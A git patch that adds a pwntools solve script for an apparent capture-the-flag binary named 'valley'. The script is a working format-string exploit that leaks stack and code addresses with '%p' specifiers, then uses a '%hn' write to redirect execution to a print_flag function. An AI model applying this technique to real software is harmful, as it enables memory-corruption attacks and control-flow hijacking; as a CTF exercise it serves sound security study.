From e22305275ffcd5b7dd15f439dcb304d519590f1b Mon Sep 17 00:00:00 2001
From: jc <jc@git.server>
Date: Wed, 19 Mar 2025 02:08:17 +0300
Subject: [PATCH] solve script

---
 random_challs/valley/a.py | 27 +++++++++++++++++++++++++++
 1 file changed, 27 insertions(+)
 create mode 100644 random_challs/valley/a.py

diff --git a/random_challs/valley/a.py b/random_challs/valley/a.py
new file mode 100644
index 0000000..79b00e7
--- /dev/null
+++ b/random_challs/valley/a.py
@@ -0,0 +1,27 @@
+#!/usr/bin/python3
+
+from pwn import *
+
+context.binary = target = ELF("./valley", checksec=False)
+r = process()
+
+# funcs
+s = lambda a: r.sendlineafter(b": ", a)
+ss = lambda a: r.sendline(a)
+
+# leak
+s(b"%20$p.%21$p")
+r.recvuntil(b": ")
+leaks = r.recvlineS().split(".")
+stack_addr = int(leaks[0], 16) - 0x8
+log.info("stack_addr: %#x", stack_addr)
+print_flag = int(leaks[1], 16) - 0x1aa
+log.info("print_flag: %#x", print_flag)
+write_bytes = int(str(hex(print_flag))[-4:], 16)
+fs = f"%{write_bytes}x%8$hnAAAA".encode()
+
+# write
+ss(fs+p64(stack_addr))
+ss(b"exit")
+
+r.interactive()
\ No newline at end of file